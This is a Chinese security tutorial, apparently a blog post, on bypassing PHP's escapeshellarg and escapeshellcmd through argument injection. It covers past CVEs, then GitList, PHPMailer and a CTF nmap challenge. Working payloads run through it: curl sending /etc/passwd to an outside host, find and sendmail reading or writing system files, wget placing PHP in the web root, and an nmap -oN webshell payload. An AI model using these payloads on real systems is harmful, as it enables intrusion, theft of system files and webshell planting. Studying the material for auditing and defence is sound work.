PHP-escapeshell-命令执行

阅读量    105842 | 评论 2   稿费 150

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

最近审计PHP时,频繁出现的escapeshellarg与escapeshellcmd成功勾起了我的性致 兴趣,深入了解后发现确实漏洞百出

Know it then do it

escapeshellarg

string escapeshellarg ( string $arg )

转义字符串$arg中的单引号并使用单引号包裹此部分

使得$arg只能传递一个参数,且不能执行不同的命令

 

escapeshellcmd

string escapeshellcmd ( string $command )

转义& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ x0AxF'"仅在落单时被转义

使得$command只能执行一个命令,但可以传递多个参数

 

举个栗子

  • $arg->172.17.0.2' -v -d a=1
  • ->escapeshellarg->'172.17.0.2''' -v -d a=1'
  • ->escapeshellcmd->'172.17.0.2'\'' -v -d a=1'
  • ->172.17.0.2 -v -d a=1'

 

历史漏洞

$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

//or

$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
//需要有可变宽度字符集的shell环境(例如GBK、EUC-KR、SJIS)

$text = "sth";
system(escapeshellcmd("echo ".$text));

$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));

//or

$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
  • Windows下PHP5.4.42以下, 5.5.26以下的5.5.x, 5.6.10以下的5.6.x-CVE-2015-4642
//向函数传递额外的`(--param3)`

$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

如果向escapeshellargescapeshellarg传递1024兆个字节,则可能会触发堆溢出

  • Windows下5.4.43以下的5.4.x, 5.5.27以下的5.5.x, 5.6.11以下的5.6.x-Bugs
//EnableDelayedExpansion`为`enabled`时,`!STH!`的特性类似于`%STH%`,而`escapeshellarg`并未处理`!`
//可以在HKLM或HKCU下的注册表中设置EnableDelayedExpansion

[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)

// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
  • PHP5.6.18以下-Bugs
//`ext/standard/exec.c`中

echo escapeshellarg("helloworld");
=>
hello

 

参数注入

由上文可以看出,当存在escapeshellargescapeshellcmd时均不可能执行第二个命令,但仍能传递多个参数给escapeshellcmd,漏洞可造成的危害取决于当前程序所拥有的功能

tar

  • some_file压缩至/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
  • 创建/tmp/exploit空文件
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

find

  • /tmp目录下查找some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
  • 输出/etc/passwd的内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

wget

  • 下载example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
  • 保存.php文件至指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

sendmail

$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
  • 输出/etc/passwd的内容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

curl

  • 获取http://example.com的内容
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
  • /etc/passwd发送到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

mysql

  • 执行SQL语句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
  • 执行id命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

unzip

  • archive.zip中解压所有.tmp文件至/tmp目录
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
  • archive.zip中解压所有.tmp文件至/var/www/html目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

若未设置LANG环境变量则跳过非ASCII字符

$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));

使用.bat执行命令

  • 列出somedir中的文件
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
  • 同时执行whoami命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

可参阅:如何在Windows上传递参数至新进程

结合escapeshellcmdescapeshellarg

此时可以向函数传递第二个参数

  • 列出/tmp中的文件并忽略sth
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
  • 使用长列表模式输出/tmp中的文件并忽略sth
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

 

GitList

GitList 0.6的源代码中,存在参数注入导致的远程命令执行

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (RuntimeException $e) {
        return false;
    }
}

上述代码可简化为:

$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');

git-grep文档可知,--open-files-in-pager类似于find命令的-exec

$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');

修复方案

p神曾经分析过,漏洞最佳解决方案为将$query作为-e参数的值,即git grep -i --line-number -e '--open-files-in-pager=id;' master,不过gitlist采取了另外一种措施:

//将`-`替换后在`$query`前加上`--`
<?php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = preg_replace('/(--?[A-Za-z0-9-]+)/', '', $query);
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
    } catch (RuntimeException $e) {
        return false;
    }

 

PHPMailer

PHPMailer的源代码中,存在参数注入导致的远程命令执行

if (force_extra_parameters) {
    extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
    extra_cmd = php_escape_shell_cmd(extra_cmd);
}

if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
    RETVAL_TRUE;
} else {
    RETVAL_FALSE;
}

上述代码可简化为:

<?php
$param = "172.17.0.2" -v -d a=1";
$ep = escapeshellarg($param);
$eep = escapeshellcmd($ep);
$cmd = "curl " . $eep;
system($cmd);

当两个函数以->escapeshellarg->escapeshellcmd->的顺序配合使用时,则会存在参数注入。a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com最终变成了'-fa'\''( -OQueueDirectory=/tmp -X/var/www/html/test.php )@a.com',但若将其顺序调换则不会出现此问题,即->escapeshellcmd->escapeshellarg->

 

Nmap命令执行

  • 一道Web安全测试南京总决赛时的CTF题
<?php
include("flag.php");
if(!isset($_GET['host'])){
    highlight_file(__FILE__);
}else{
    $host =(string)$_GET['host'];
    $host=escapeshellarg($host);
    $host=escapeshellcmd($host);
    $sandbox = md5("box".$_SERVER['REMOTE_ADDR']);
    echo "you are in sandbox: ".$sandbox."<br/>";
    @mkdir($sandbox);
    chdir($sandbox);
    echo "<pre>";
    echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
    echo "</pre>";
}
?>

因为输入流先进escapeshellarg函数,再进escapeshellcmd函数,所以存在参数注入。随后可利用nmap的-oN参数将Webshell写入沙盒文件夹。

逃逸单引号

Payload:?host=' <?php phpinfo();?> -oN shell.php '

 

参考资料

参考资料0参考资料1参考资料2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多